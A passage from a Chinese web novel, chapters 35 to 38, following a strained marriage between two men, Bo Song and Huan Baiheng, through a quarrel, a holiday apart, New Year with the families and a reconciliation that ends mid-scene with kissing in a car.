桓柏蘅没有过因为说了不好听的话,还需要跟人解释的经历,所以语气生硬,僵涩。 他解释了,所以薄淞应该不要放心上,和他一起走。 桓柏蘅打算和他一块收拾,起身的动作却在薄淞冰冷的温度覆在他手背上时,止住,薄淞并不用力的,轻轻地,一点点掰开他的手和响在他耳边的话。 “桓柏蘅。” 薄淞说,“我不去了。” 第35章 第二天大早, 司机送的桓柏蘅去的机场。 车影在拐角处消失不见。 薄淞原地站了许久,清晨的寒意渗进皮肤里,钻进血液, 透进骨头, 他才意识到自己忘记披外套,家居服过于单薄。 他把冻僵硬的手交叠在一起, 搓了搓,转身回了房子。 桓柏蘅落地是座海岛, 阳光温暖,海水从飞机上俯瞰呈现出深调的蓝色,落地后颜色浅了些,泛着粼粼波光。 岛上人们衣着清凉,沐浴着日光。 郑云松给薄淞发过去视频后, 收到一句谢谢, 盯着聊天框,半天敲出一行字,在桓柏蘅回头时, 吓得差点没把手机掉了。 “你在干嘛?”桓柏蘅语调很冷,炎炎夏日般的天气里结了层冰似的,从出发到落地,他脸上就这么一个表情,不像是出来玩的。 “没啊。”郑云松笑,抬头,“哇,好大一片云。” “” 云没了,暴风雨压过来了。 桓柏蘅到跟前,掰断他手指的力气, 夺走了手机,于是郑云松未来及发送的那句话,刺进桓柏蘅眼底。 郑云松觉得,可能他是完蛋了。 “我也是为你好。” 他弱弱道,可又有了点底气,“还不是怕你离婚,你应该庆幸,我为你这么豁出去。” 郑云松确实豁出去,数落他整整七八句,最后说,可以替桓柏蘅像薄淞道个歉。 桓柏蘅很长一阵没说话,气氛诡异。 “行了,我不发了还不行,我现在就删啊,错了错了。” 郑云松拿回手机,桓柏蘅让他拿了,一行一行的字,删至清空。 “可以了吧,你不要这么” “是我的错吗?” 桓柏蘅打断他,并不是生气也不是冷漠,反常到极点。 郑云松愣了下。 “他就一点问题没有?” “你说话伤人,还是有点不对的。”郑云松小心翼翼措辞。 他不知道桓柏蘅反省过的,解释了,后面也有道歉,在薄淞拒绝和他同行后,可能说的不是很自然,别扭,冷硬。 桓柏蘅也知道,不是所有的道歉都会被原谅,可他真的做了什么令人深恶痛绝不能原谅的事? 他说话难听,他性格不好,薄淞大方温和,成熟,包容,所以薄淞就是完美无瑕? 是薄淞先告诉他,要成为他的家人,薄淞对他好,满足他很多,然后他习惯了对方的好,他开始珍惜别人的心意,努力去道歉 胸针丢了就丢了,不是差那一个礼物,是薄淞云淡风轻的态度,在他想要珍惜之后,告诉他,那枚胸针只是千千万万枚之中,最微不足道的一枚。 他赋予在上面的意义,只是他单方面赋予的,很可笑。 可他也接受了,接受因为后知后觉带来的不好结果。 没有关系。 可薄淞为什么还是拒绝他?为什么所有人都觉得是他的问题。 他对薄淞很坏吗?桓柏蘅想,他有在努力维持婚姻关系,婚后有做到减少出门增加陪伴,也有学着照顾对方,倾听,分享,送薄淞喜欢的礼物,带他去吃想吃的餐厅。 他做了他能想到的,婚姻里该有的。他想不到的,薄淞做了,他在学习。 这其实违背了他结婚的初衷,桓柏蘅无法自欺欺人。 或许郑云松说的对,他是第一次结婚,第一次以丈夫的身份和人相处,所有亲密的毫无保留的事,他都和薄淞做过,只和薄淞做过薄淞在他心里是不一样的。 不想要什么彼此自由。 桓柏蘅有答案,迈出那一步,渴求除了“亲人”之外,其余的感情,不需要很多,一点点,然后被宣告,不重要。 薄淞的温柔包容,不是只对他一个人的,薄淞对朋友同样如此,不是特殊的,薄淞嘴巴上告诉他,会对他最好,都是甜言蜜语而已。 问题到了原点。 桓柏蘅想,薄淞扔掉了送他的礼物。 属于他的东西。 不要就不要了,他也可以不在乎- 荣市街道空荡,店铺闭店。 仅存的一家咖啡厅里,也只有寥寥几个客人,薄淞到的时候,林序淮精神萎靡蜷缩在玻璃窗和沙发椅的角落里。 “序淮” 他喊林序淮一声,面前的人才从困倦中回神,晃了晃脑袋,“你来了啊。” 示意他坐。 薄淞坐下,欲言又止。 林序淮脱了外套,里面是件宽大的低领打底衫,像是随意一套从家里出来的。 也很有可能,因为薄淞这会坐着的,就是林序淮家楼底的咖啡厅。 总之林序淮就穿着这么一身很随意的衣服,露出灰打底下遍布吻痕的身体。 吻痕是新的,薄淞有经验,显示昨晚不平静。 他不太好意思看。 店员送来咖啡这会,瞥了好几眼。 “你看什么?”林序淮眼皮撩起,微微眯着的眸子,也风情万种,一如既往地有攻击力,“没见人做/爱吗?” 薄淞:“…” 店员逃了,林序淮胳膊搭桌子上,用力咬了口吸管,猛喝了一口,冰块撞在杯子里动静不小。 他纠正,“说错了,做恨。” 薄淞:“…” 他看薄淞还一脸害羞,不解,“你又不是没做过吗?干嘛啊,你也想看。” 关于薄淞的事,许景渊当天回去就跟他说了,做的很激烈。 薄淞脸微微热了下,无奈求饶的眼神,跳过话题。 “今天怎么会喊我出来?” 明明前几天叫都叫不出来的,薄淞开始是真的很担心,问桓柏恒,桓柏蘅不乐意理他,只好辗转问到了郑云松那。 郑云松帮他保密,发了几张让许景渊拍的林序淮照片,林序淮吃饭,瞪眼,看电影,和口型应该是“滚”的照片。 挺有生命力的,薄淞才放心了些。 “我不能喊你吗?” 林序淮眼睛下淡淡的乌青,还是很凶,一瞬间,薄淞从他身上,似乎看到了点桓柏蘅的影子。 同样一言不合就能炸的性格,林序淮是直接发泄,桓柏蘅就会冷冷记仇,然后很久不说话,要铺很多很多的台阶,才愿意抬起脚,高冷的一步步迈下来。 “可以喊。”薄淞表情足够真诚,又看人咬吸管喝饮料,“冬天少喝点冰的,你胃又不好,上次医生….” “你再说我就要问你结婚晚上的事了。” “…” 林序淮这几天已经被念烦了,他晚上去酒吧盯场,喝点酒,冰块被挑出来? 更可笑的是,原话是说对酒有瘾的话,可以给他加热? 喝热的他干嘛不去喝中药。 有病。 林序淮把脑子阴魂不散的人赶去,提及喊人出来正事。 “那个谁出去不带你啊?” 薄淞稍稍愣了会,反应过来,“没有,是他跟朋友去,我去不方便。” “有什么不方便,他想背着你乱搞?” 林序淮在薄淞无奈的眼神下收敛了些。 “所以凭什么不带你,也不是没这种可能性啊,点几个小男生啊,他们那些人不都这样。” “就不能是我自己不想去吗?” 薄淞没在这件事上让林序淮多纠结,不然一会林序淮又要乱说话。 “你会吗?”林序淮明摆着不相信。 桓柏蘅去哪,薄淞怎么会不想跟着。 薄淞沉默了会,苦笑,“我偶尔也会想自己待着的啊。” 被林序淮一语指出的,是他从来追随着桓柏蘅,人不能的话,心也会的。桓柏蘅去了国外,他心就落在了外面,桓柏蘅在他身边,他就一刻也不愿挪开目光。 所以拒绝桓柏蘅这件事,很难,让桓柏蘅因为他的情绪不开心的离开,薄淞这两天觉得挺难过。 可他需要点时间,把他的那些自作多情剥掉,然后更纯粹点的对桓柏蘅好。 因为他大概就是桓柏蘅不会养的猫猫狗狗,那类不自觉会索要情感需求,而且需要非常高的那一类型。 他得自己冷静一下。 薄淞不知道是不是有用,但起码得努力。 林序淮眼里的狐疑嘲笑消失,在确定薄淞认真后,饮料也不喝了,定定看着他。 半分钟后撩袖子,“他是不是欺负你了。” “没有。” 薄淞哭笑不得,这两天沮丧的心情因为林序淮稍微好了些。 “不是他的原因,我保证。”薄淞轻声道,,“序淮,跟他结婚,同居,这些日子,我非常非常幸福。” “我觉得像梦一样,他的体温,心跳,我从来想都不敢想的,全部都很真实。” 桓柏蘅因为他而急速跳动的心脏,夜半醒来时,抱着他的体温桓柏蘅大概做梦有喜欢抱东西的习惯。 薄淞无人可分享,满到快溢出来的幸福感,当然也有酸涩,不安,紧张,难过,可都抵不过拥有的满足。 所以桓柏蘅没有欺负他,桓柏蘅给了他这辈子都不敢奢想的如愿以偿- 林序淮点了一大堆甜品,让薄淞吃个够。 “不爱吃甜没事,走个形式。” 林序淮爱吃甜,逼薄淞吃点,哪怕薄淞表示没有被欺负。 “你问了我那么多,我可以问一句吗?” “不行。” “…”薄淞败了,叹了口气,“你总得让我不要担心你吧。” “担心什么?”林序淮说,“随便玩玩而已。” “…” “他活还行。” “…” 林序淮说还行,叉子戳烂了蛋糕,在把蛋糕分尸成碎末后,对上薄淞望过来纵容而又无奈的眼神。 “活很烂行了吧。” 林序淮不打算说了,或许连他自己也不知道,薄淞不打算逼他,只嘱咐一句“有事的话告诉我,和我商量可以吧?” 他想了想,补充一句“序淮,你也是我最重要的朋友。” 不论许景渊和桓柏蘅的我关系,薄淞是站在林序淮身边的,一直都是。 “知道。” 林序淮分给了薄淞一块“蛋糕尸体”,警告薄淞不许嫌弃后,埋头把碟子里东西收拾干净。 “听说你那什么宴会,碰上周总了。” “…” 许景渊藏不住薄淞的秘密,拿去讨好或刺激林序淮,林序淮什么都知道。 “嗯。” “聊什么了?” “没聊。” 安静好一阵,林序淮把另一块蛋糕也切割了,才随便问了句。 “他喜欢你就跟他绝交,那如果我也喜欢你呢,你是不是不打算理我了。” 薄淞被这个假设弄得怔愣,可林序淮要他回答。 “不会。” 林序淮看着他,“认真的?” “嗯。” 薄淞可以割舍的是半道的朋友,林序淮已经是他弟弟了。 “知道了。” 林序淮最后回答的声音响起。 第36章 下午茶结束, 林序淮把薄淞拉到酒吧,让人喝两杯放松放松。 酒吧为期一周的活动,庆祝过年, 赠酒饮赠果盘, 因此往常少人的点现在却很热闹,进去就满是活络的人气, 和大街上行人寥寥的萧瑟形成鲜明的对比。 “给他调杯度数浅的。” 林序淮交代完调酒师,拉着薄淞径直入了吧台后的门, 通往里边的休息间。 “你今天想在里面喝,还是在外面?” 林序淮换衣服,问他。 这是间打通的小一室一厅,隔音效果极佳,酒吧的声音传不过来, 林序淮喝多了酒或是时间太晚就会直接住这, 算是第二个家,布置的简单,但该有的都有。 “外面吧, 这太安静了。” 林序淮换了身T恤,打底嫌热,酒吧里暖气开的高。 “难得你会想要热闹?” 荣市年底太安静,别墅也太安静,薄淞轻吐出口气,就见林序淮从柜子里掏了件薄衫,问他。 “换吗?” 薄淞愣了会,“啊?” “高领的。”林序淮强调,扫着人穿着严严实实,“你不热吗?” “还好。” “你嫌弃我?” 林序淮瞪眼, 大学里男生之间穿对方衣服很正常,两人也不是没穿过,现在结个婚就不行了? “不是。”薄淞好脾气解释,“我年纪大,怕冷。” 两人虽然同一届,林序淮还是比薄淞小两岁,严格来说,林序淮跟桓柏蘅年纪还更贴近些。 林序淮把衣服丢进去,不换算了。 两人出去,吧台边多了个不速之客。 许景渊无聊地晃着酒液,没精打采的眼底在林序淮出现那一刻亮起,人也跟着起身,只是瞥见薄淞时,郁闷了几分。 招呼还得打。 “海岛阳光很好,你不去可惜了。” 许景渊替薄淞惋惜,去海岛的话,就不用来找林序淮了吧。 “是啊,希望下次有机会。” 气氛几分尴尬,薄淞不知道这酒是该喝还是不该再喝,就被林序淮扯住胳膊,面向吧台背对许景渊。 禁止再交谈的意思。 他冲调酒师道,“酒呢?” “”调酒师往许景渊那看了眼。 许景渊轻咳两声,走近,“忽然口渴,我喝了。” 调酒师说是老板请朋友的酒,许景渊没见过这“朋友”,再者林序淮可从没请他喝过酒,他这能忍? “我付双倍的酒钱,麻烦再调一杯吧。” “” 酒吧灯光昏暗,许景渊注意力又被薄淞的出现扰的分心,没注意到林序淮这身衣服,领口敞着是不是太大,肩部腰部后背几道破口子都露出里面的肉了,哪年了还流行破烂风啊? 他勾住人后肩的口子,扯了扯,“换一件吧,很丑。” “” 林序淮抬步挪开,薄淞才意外林序淮竟然这么好脾气,人已经侧身转回来,嫌恶地拍了拍衣服,“哪来的狗爪子?Kyle,我说过多少次了,不要随便把疯狗放进来。” Kyle作为调酒师,不承担安保的工作,再者面前的好像是老板娘? 许景渊自我定位是这样的,而且给的小费不少,再者他在这工作多年,还是第一次碰上跟老板发生过性//行为的男人,虽然老板追求者众多,可能进里头休息间并且过夜的,只有老板娘一个人。 可Kyle识时务,“好的,老板。” 他把调好的酒递过去,试图让战场转移,他是个Gay,单身的Gay,两人在这吵,他会觉得被冒犯到。 “宝贝,那你得多打几针狂犬了。”许景渊并不生气,笑眯眯的,“你看,这浑身的咬痕,多吓人啊。” “下次买点砒霜。”林序淮看向Kyle,“狗进来直接毒死。” 许景渊长叹一声,“小美人心就是毒辣。” “” 薄淞被林序淮再次拉走,隔着吧台最远的角落里,许景渊斜斜坐上高脚凳,指尖扣着桌面,没一会调酒师推过去酒。 男人看过来,隔着遥远距离,同薄淞目光相撞,酒杯举了举,又对着薄淞比了个口型。 三个字。 太凶了。 指的谁不言而喻。 “你看什么?”林序淮阴恻恻的嗓音响起,“不要看他。” 薄淞收回视线,无奈地笑,“好。”- 桓柏蘅收到消息时,在海景会所。 他们过来是吃饭,朋友投资的,没点乱七八糟的服务。 蓝天大海,温暖的气候,让他心情是有些许好转的,直至群里的照片一张张跳出来。 【许景渊:家属可以看紧点吗?我真的很困扰。】 【郑云松:-】 【许景渊:已经三波人过去要联系方式了。】 【郑云松:给了吗?】 【许景渊:你猜。】 许景渊不理解林序淮到底什么话能和薄淞说这么久,对着他也没这么多话啊,所以桓柏蘅能不能把自己的人管好。 他指望着桓柏蘅这会打个电话让薄淞离开。 群里桓柏蘅愣是一声不吭,打算再刺激两波,郑云松私聊戳他。 【郑云松:我劝你现在不要找死。】 【许景渊:。】 【郑云松:很严重!!!】 【许景渊:。】 许景渊在三人群里发声。 【许景渊:没给,没喝多,准备回去了。】 【许景渊:玩得开心。】 郑云松放下手机,一口气没松到底,耳边忽然一阵黏腻的的少年嗓音。 “需要给您再添点吗?” 男生年纪不大,巴掌脸,是很精致的长相,穿着会所的制服,黑色紧身的上衣微微发透,扎进西裤里,勾勒出极其纤细的腰身,手指青葱白嫩,脸上表情更是含羞带怯。 这毕竟是会所,占据这座海岛最好地段。 海边,沙滩,艳遇,很刺激。 男生俯下身,制服下柔软的胸口蹭过桓柏蘅手时,被猛地推开,酒瓶“哗啦”碎了一地,男生脸色瞬间惨白。 “滚。” 桓柏蘅眸底阴鸷,嗓音令人不寒而栗。 这一变故令在场的人都愣了几分,朋友才反应过来,立刻喊来经理,“不是说了不要鸭子吗?谁放进来的,赶紧领人滚。” 男生眼圈通红,泫然欲泣。 郑云松打了个圆场,“行了,让他下去就行,年纪小再教一教。” 他又看一眼,哭起来还挺好看的。 不等他再因为那张漂亮脸蛋同情一分,桓柏蘅抽过桌上湿巾,一根根用力擦过手指,脸色冷的像霜,擦完,起身。 头也不回走了。 郑云松头疼,“你们吃你们的,我跟柏蘅先回去,你下次注意点啊,他最讨厌这些人随便碰他了。”- 回程机票定在除夕当天早上六点。 七点过半落地荣市。 郑云松打着哈欠,从vip通道出去,耳边咕噜咕噜的滚轮声停止,他眯开困到不行的眼睛,瞪大。, 看清通道外车旁等着的人。 薄淞一身长款风衣过膝,围巾挡住大半张脸,发丝在清晨的寒风中飞扬,眼睛却明亮,在桓柏蘅望来时,眼尾弯起。 桓柏蘅视线落在人脸上,半晌,挪至人怀中捧着的,醒目的花束。 “学长也太浪漫了吧。” 郑云松些许羡慕,身后一众人同样如此,桓柏蘅挪开视线。 车子陆陆续续接走人,郑云松临走前对薄淞说了句“除夕快乐”,薄淞微微笑着回应,到最后,只剩下他和桓柏蘅。 “玩得还好吗?”薄淞问。 桓柏蘅说,“李叔呢?” 李叔是老宅的司机,他们去老宅过除夕夜,薄家父母也过去,两家人一起吃年夜饭。 “接我爸妈去了。” “” 司机不止李叔一人,薄淞借口很明显,他把怀里玫瑰递过去,黄色热烈,明艳,刚从枝头采摘下来,带着露珠,娇艳欲滴。 “” 桓柏衡接过了花束,上车。 车内沉默。 薄淞问了几句海岛旅行,仍旧是冷冷淡淡的几句回答。 等车子驶入别墅时,桓柏蘅才说。 “为什么送我花?” 玫瑰是薄淞一直想送的,没有合适的机会罢了,他大早来爷爷的花园里,采了最漂亮的几朵,包扎成花束,去见思念好几天的人。 “想你高兴点。” “理由呢?” 安保系统识别出车牌号,薄淞启动车子,轻声道,“今天两家长辈都在。” “” 年夜饭吃的热闹,到八点,散场。 两人不留在老宅,结婚有说法,第一个年要在自己家里过,薄淞得到老爷子很大的一个红包。 他很多年不收红包了。 老爷子说结婚了也有,薄淞谢过爷爷,等爸妈上车后,才同桓柏蘅一道回去。 除夕夜的荣市一派祥和。 路上没几辆车。 薄淞和李叔聊着,车灯划破夜色,很快到目的地,薄淞最后祝福李叔新年快乐,和桓柏蘅一道下车。 院子被收拾过,门口贴上了过年的春联,随处可见的“福”字,一片喜庆,是薄淞这三天独自布置的 桓柏蘅有一瞬恍惚,红色的一片,像极了新婚那几日。 “阿姨这几天回家过年了,我帮你收拾下吧,贴身的睡衣最好不要放太久。” 薄淞从来周到体贴,任何时候都是,大学宿舍里,室友们随处丢的衣服,总会被他收起来,衣架整整齐齐挂好,懒得提去洗衣房的桶薄淞看见也会顺手拿下去,不会计较帮忙带几次饭 他对真心认可的朋友,很好。 桓柏蘅拉过行李箱,“不用,谢谢。” 很客气也很生分的道谢。 薄淞手收回去,低头轻轻“哦”了一声,桓柏蘅推箱子上了电梯,他消化完过去时,电梯已然在跟前合上。 显示向上的楼层。 薄淞原地站着,身影在灯光下格外落寞,好长一阵,电梯重新返回,他才进去。 这是一个不那么温馨的除夕夜。 客厅里春晚放着,热闹的欢笑传达不了半分到屏幕前,索然无味,荣市禁止烟花爆竹,零点也无半点声响。 薄淞跟着桓柏蘅一道上楼,没有一句新年快乐。 进房。 桓柏蘅躺上床时,薄淞稍稍有些高兴,如果今晚,桓柏蘅要跟他分房睡,其实他也不是不能理解。 被子被暖气熏的热乎。 薄淞躺上去,和桓柏蘅隔着中间距离,这几天他一个人睡,睡得不好,总觉得身边缺了熟悉的气息。,不习惯。 而此刻,桓柏蘅在。 薄淞闭上眼,心里烦烦杂杂的思绪奇异的被抹平,零星的画面都在大脑清零,不到十分钟,他就睡过去。 也就浑然不知身侧的响动。 桓柏蘅开了暖灯,微弱的光亮只够照着小片床头,薄淞呼吸起伏着。 他视线描摹着人眉眼。 半晌,小心翼翼牵起薄淞的手。 薄淞手指好几处发红泛着轻微肿胀的皮肤,玫瑰带刺,薄淞又没有经验,被刺伤了很多处,晚饭后爷爷说的。 桓柏蘅弯腰从床头抽屉花花绿绿的盒子堆中,取出消肿清凉的膏药,抹了些在薄淞指尖上,他坐着,等膏药风干,才把人手重新放回了被子外头搭着。 薄淞指尖蜷了下,桓柏蘅没有注意到,关了灯,躺下,闭眼。 两分钟后,他睁开眼睛。 翻了个面,动作很用力。 背对着薄淞。 第37章 正月几天, 薄淞很忙,忙到分不出多余的心神处理和桓柏蘅之间的问题。 他要走亲戚。 原本父母那边的亲戚就不少,加上婚后多了桓柏蘅家这边的, 两人几乎早出晚归。 爷爷很欣慰桓柏蘅这次过年乖乖配合, 将功劳归于薄淞,说结婚后, 桓柏蘅总算懂事不少。 当着薄淞面讲的。 薄淞不认为桓柏蘅喜欢“懂事”这个词,就像桓柏蘅从不觉得在一段没有感情的婚姻里, 和伴侣冷战是不正常的一件事。 薄淞甚至于不知道,桓柏蘅这次气这么久的缘故。 他只能归咎于,原本该送给对方的礼物,没有被桓柏蘅亲手丢掉,以及他竟然敢第二次拒绝桓柏蘅出游的邀约。 薄淞能明白这种心理, 桓柏蘅骨子里高高在上的优越感和占有欲望。 桓柏蘅可以不重视他的礼物, 但是礼物必须是薄淞珍贵的心意。 大概是这样。 薄淞想,桓柏蘅不是他喜欢对方的这么多年里,幻想出来的趋近完美的模样, 有太多不同,可会因为这些减少喜欢吗? 不会。 他想象出桓柏蘅的模样,却也知道桓柏蘅不会是这样,薄淞爱他的不完美,某些地方的劣性。 如同他很多的恶劣面:对待他人情感的漠视和冷酷,只是他这一面很好的掩藏在温和的性格下。 所以,他也会有自己的骄傲。 隐晦的心意被再而三强调不重要,就如同不敢出口的感情在对方眼中从来是微不足道的笑话,也会觉得自尊心受伤。 他需要时间平复,所以有点小任性的拒绝桓柏蘅的邀请。 不单单只是为了让自己足够冷静思考, 剥离掉不该有的情感,正视和桓柏蘅的关系。其实也有一定自欺欺人的成分,对于桓柏蘅小小的报复。 他没那么良善,喜欢一个人,就把自己低到尘埃里。 可是三天时间,薄淞又无数次后悔,让桓柏蘅带着不那么愉悦的心情离开,他干嘛要那么较真,又谴责自己。 很矛盾,被爱慕和自尊拉扯着。 身后传来脚步声,拉回薄淞思绪,回头,桓柏蘅在他身后,神情冷峻。 “爷爷喊我吗?” 薄淞甩掉脑中纷杂,询问道。 桓柏蘅应当不会没事出来找他,这几天,桓柏蘅和他说话很少。 “没有。” “我出来透透气,里面挺闷的。” 薄淞出来透气,呆了整整二十分钟没回去,檐外下着雨,雨声滴答滴答,冷气凝结成玻璃窗细密的水雾。 今日拜访的伯伯年纪大了,搬家到这么一处远离市中心的幽密山林,山中气温更低。 薄淞刚才想事情,没注意,话说完后知后觉寒意,裸露在外的皮肤发红发疼。 被风吹久,鼻子似乎也有些难以通气。 薄淞轻轻抽了下鼻子,不想氛围尴尬,也想和桓柏蘅再说两句,快一周了,他已经受不了桓柏蘅的冷落。 想要亲吻,想要触碰,想要对方的笑脸。 薄淞正欲开口的话,被眼前覆上的阴影打断,暖热的东西丢过来,罩住他,渴求的气息将他包裹。 他愣住一会,把围巾取下来,抓着,视线里是桓柏蘅离开的背影。 心里一慌,围巾胡乱往脖子上缠,薄淞脚步急促,追上去。 桓柏蘅为他低了一次头,他就可以说更多做更多去弥补对方。 纠结于无用的自尊心干嘛?桓柏蘅并没有存心要践踏他,只是不喜欢他而已。 可和桓柏蘅结婚,不就已经是很幸运的事吗?薄淞这一刻觉得自己很虚伪,说着什么都不要,实则样样都想要回应。 铃声响起尖锐,混着雨声,让薄淞脚步暂停,他拿出手机,看清号码时,眉头微微蹙起。 这是年前的一个项目。 C市新开发了一片旅游度假区,他们接手负责度假区的智能化改造升级,方案预算还是入驻商等一系列事项,其实年前便已经敲定,临了合作的公司却出了问题。 大年初一开始,就有电话不停打过来。 桓柏蘅从长廊进去,回了房子。 薄淞轻轻呼出口气,接通电话- 一通电话,薄淞打了将近半小时。 他临时得出趟差,让助理定好最近的机票,然后去和爷爷道别。 会客室里,老爷子和伯伯们聊的欢。 薄淞回去时,桓柏蘅一人注意到他,本来就是长辈们的聊天,小辈们插不上话,所以薄淞留不留这都无所谓,刚才才离开。 年长的伯伯们抽雪茄,味道在暖气的房子很重,薄淞轻轻吐出口气,到爷爷身边。 说明了事情缘由。 老爷子虽然觉得过年这种时候应当放松娱乐,可也明白项目的紧急,工作就是这样,让司机送薄淞回去。 薄淞收拾些行李,可能要几天。 桓柏蘅走不了,出于礼貌,一年才来一次的长辈家,薄淞不在,桓柏蘅就更得留着。 老爷子让桓柏蘅送到门口。 雨下的更大了,落在伞面的声响盖过言语,司机去院里开车,让薄淞等一会。 水珠砸落在一旁青石阶面,溅起冰凉水花在薄淞手背。 他冻得瑟缩了下。 脸往围巾里埋深了些,汲取到温暖。 薄淞希望桓柏蘅忘了把围巾给他这件事,他就可以名正言顺的把围巾一块带走。 出差一趟,薄淞不知道什么时候回来。 可桓柏蘅很快要走了。 初八。 本来就少的可怜的相处,他甚至很多话没有跟桓柏蘅讲,如果赶不及回来怎么办? 雨水的冷意沁进心里。 薄淞伞面往侧边倾斜,冷雨砸在脸上前一秒,手背被另一道滚烫的体温盖住。 桓柏蘅强制拨正了倾斜的伞面。 他手心包裹着薄淞的手,将伞往上举了些,同伞下的人对视。 面前的人眼睫被飘过的雨雾打的潮湿颤抖。 “我在家等你。”桓柏蘅眼底情绪一瞬波动,又归为平静,说,“有事打我电话。” “” 薄淞的心奇异的平静下来,桓柏蘅收回手。 司机停车在面前。 薄淞上车前,头顶飘来阴影,是桓柏蘅的伞,雨太大了,收伞的一刻就会淋湿,而身后的体温炙烫。 离他很近。 薄淞只要回头,伸手,就可以得到一个拥抱。 他很想要。 可对于主动拥抱桓柏蘅这件事,还是太陌生,也不合适。 他们只在做//爱的时候拥抱,以及睡梦中某些不那么清醒的时刻。 “谢谢。” 薄淞只能道谢。 车轮卷起水花,雨雾模糊了后视镜里桓柏蘅身影,直到再也看不见。 薄淞很轻地,再次抽动了下鼻子。 离别的伤感,薄淞没能体会多久。 司机送他回别墅,简单收拾了行李,薄淞在机场和项目组负责人汇合,登机。 前往C市。 落地C市时天已经黑透,薄淞发过去消息,只几秒,桓柏蘅回复。 祝他一切顺利。 消息界面,寥寥数字,可薄淞记得,桓柏蘅说的那句“在家等你”。 他很平静的合上手机,投入工作中- 薄淞初三走的,后两天,桓柏蘅住在老宅,陪爷爷,间隙和郑云松许景渊两人吃了顿饭。 提及桓柏蘅离开的事。 桓柏蘅这次学习培训,在安江市,距离荣市不算近的一个城市,飞机得四个小时,两个月只是初定,可能还得久些,学习结束后,他会跟着跑一个项目。 年后,大家都忙碌起来,两三个月,郑云松反正是不打算再折腾着跑去找桓柏蘅,所以提出送他。 “不用。” 桓柏蘅第三次拒绝他,看向面前的人,眉眼间压着的,烦躁。 他已经很不耐烦。 “不是,那你一个人孤零零走啊。” 郑云松按亮手机屏,怼至桓柏蘅跟前,“今天是我跟你吃的第三顿饭,时间是正月初七,学长不会回来了。” “” 桓柏蘅明天大早的机票,行李在几天前都已经寄走,薄淞没有回来,他从爷爷打过去的电话里,得知项目上的棘手,或许还需要一些时日解决。 “不用。” 桓柏蘅只两个字,后面郑云松的话,他没听了。 天色将暗,呈现深青色,出门时,悬在门口的风铃响起清脆一声,散在风里。 桓柏蘅脚步稍顿。 不远处一辆崭新的库里南停下,车门打开,上头下来一道修长身影。 薄淞围着离开那日桓柏蘅的围巾,暗下的天光中,眼神却极其明亮。 一旁郑云松没来及“哎”一声,车钥匙被丢进怀里。 “慢走,不送。” “” 兄弟哪比得上老婆,郑云松有觉悟,看桓柏蘅背影往库里南过去。 行吧,幸福就好。 别老是吵架啊。 他叹口气,在意的话,不是不可以追啊。 很苦恼。 薄淞等桓柏蘅到跟前,停下,望见对方眼中的自己,这一刻,他没能再周到礼貌的和郑云松说一声再见,挪不开视线。 “我想你在等我。”心脏温热,薄淞注视着面前的人,低声而沙哑道,“不想让你等太久。” 风扬起桓柏蘅翩飞的衣角。 他回答的话语平直而冷淡。 “你已经让我等很久了。” SUV够大,够软,车门挡住外头酷寒,薄淞被抵在驾驶座上亲吻。 思念和一点委屈,在桓柏蘅冷落他的这么多个日日夜夜里,汹涌,喷发。 被熟悉的气息击败的溃不成军。 桓柏蘅撬开他的唇,舌尖席卷,到口腔深处。 缓渐窒息的错觉。 薄淞生理性的退缩,后颈敏/感被用力摩挲,溢出细微呻/吟。 下秒被抓住脑后发丝,一扯,桓柏蘅很凶,他被迫仰起头,银丝从嘴角留下,浓雾打湿长睫。 得以片刻喘息。 桓柏蘅再次吻了下来。 第38章 仓前山隧道。 库里南漆黑的车身保持温和的速度爬坡, 在无人也无车的盘山公路上。 这次是薄淞开的车,说要带桓柏蘅兜风。 车子到山顶时,天幕最后一丝蓝调被黑夜吞噬, 路灯模糊昏暗的光亮照着路面。 薄淞驱车驶入了另一侧倾斜往上的山坡。 这处原先是个观景台。 废弃后, 几乎没人过来。 车灯暗下,便只有车内朦胧的光亮成了单调的黑色里唯一的光源, 薄淞唇角抿着,自桓柏蘅视线从窗外落在他脸上, 变得意味深长几分。 “听说这里很适合观星。” 他开口解释一句。 桓柏蘅不置可否,“不是要回C市吗?” 薄淞晚上九点的机票回去,抽空来这么一趟,是为了见桓柏蘅,甚至于因为要离开明早不能送机, 刚才那阵被亲到喘不过气, 还抓着他的衣服,轻声软语跟他道歉。 那会看起来,很乖。 跟现在不太一样。 桓柏蘅审视的目光让薄淞开口的话几分僵硬, 他先回答要回的,然后不经意的问,“喝点吗?” “开车喝酒?” “有果饮,后面冰柜里。”薄淞没看他,唇角又抿了下,“可以帮我拿一下吗?” 桓柏蘅从未被薄淞要求做过什么,通常都是薄淞为他做,所以如果里面是薄淞所说的东西,薄淞会自己拿出来,然后为他盛好, 递给他。 和薄淞结婚短短不到一个月,桓柏蘅就有点被惯坏了。 这点他承认。 “好。”桓柏蘅答应,握住车门,推开前却又回头,“我下去了,你万一一脚油门走了怎么办?” 薄淞手指在方向盘上抓的很紧,在紧张,闻言愣了下,被桓柏蘅提出的这个假设弄得脑子短路几秒。 “我不会。” 他怎么可能把桓柏蘅丢在这。 “万一呢。”桓柏蘅眼底是不信任,淡声要求,“你陪我?” “” 平台上的风更大,薄淞下车时,恰好最猛的一阵刮过来,钻进毛衣里,他狠狠哆嗦了下。 桓柏蘅自另一侧下车,拉开后座车门时,眼皮撩起,穿透漆黑的夜色,目光直直落在薄淞脸上,“不进来?” 薄淞眼睫颤了下,没来及开口,又被一句话砸了下来。 “你想在外面?”他说,“太冷了。” “” 薄淞拉开车门,弯腰跨进去他没能好好坐在宽大的座椅沙发上,伴随着车门的一声响,车灯骤灭,他被桓柏蘅拽到了腿上。 很近的距离,呼吸拍打在彼此脸上。 桓柏蘅大腿肌肉传递来硬实的触感和滚烫温度,薄淞身体猛地一僵,只堪堪动了下,就被掐住腰,更深的往桓柏蘅腿上按,他就不敢再动了。 “躲什么?”桓柏蘅很重的语气从耳边传进来,夹着一丝不悦,“你不就想这样吗?” “” 绕这么一段路,把他绕到这来,紧张局促,眼神躲闪,桓柏蘅哪能猜不到薄淞要干嘛?亏他还以为,薄淞真是带他兜风,以及,薄淞也想跟他好好谈的。 “薄淞。”桓柏蘅告诉他,“你不老实。” 意图被识破,薄淞破罐子破摔,他是上赶着讨好桓柏蘅,因为原本以为不会那么顺利的,桓柏蘅怎么会那么容易就愿意亲他,他不知道桓柏蘅消气没,可他能做更多点让桓柏蘅高兴的事。 桓柏蘅搭在他腰间的手很烫,撩开毛衣,覆上细腻的皮肉,摩挲,薄淞把这当作鼓励,而且刚才也亲过了他渴望的盯着面前的人泛着淡色的唇,靠近,一点点,虔诚的,想要再亲吻一次。 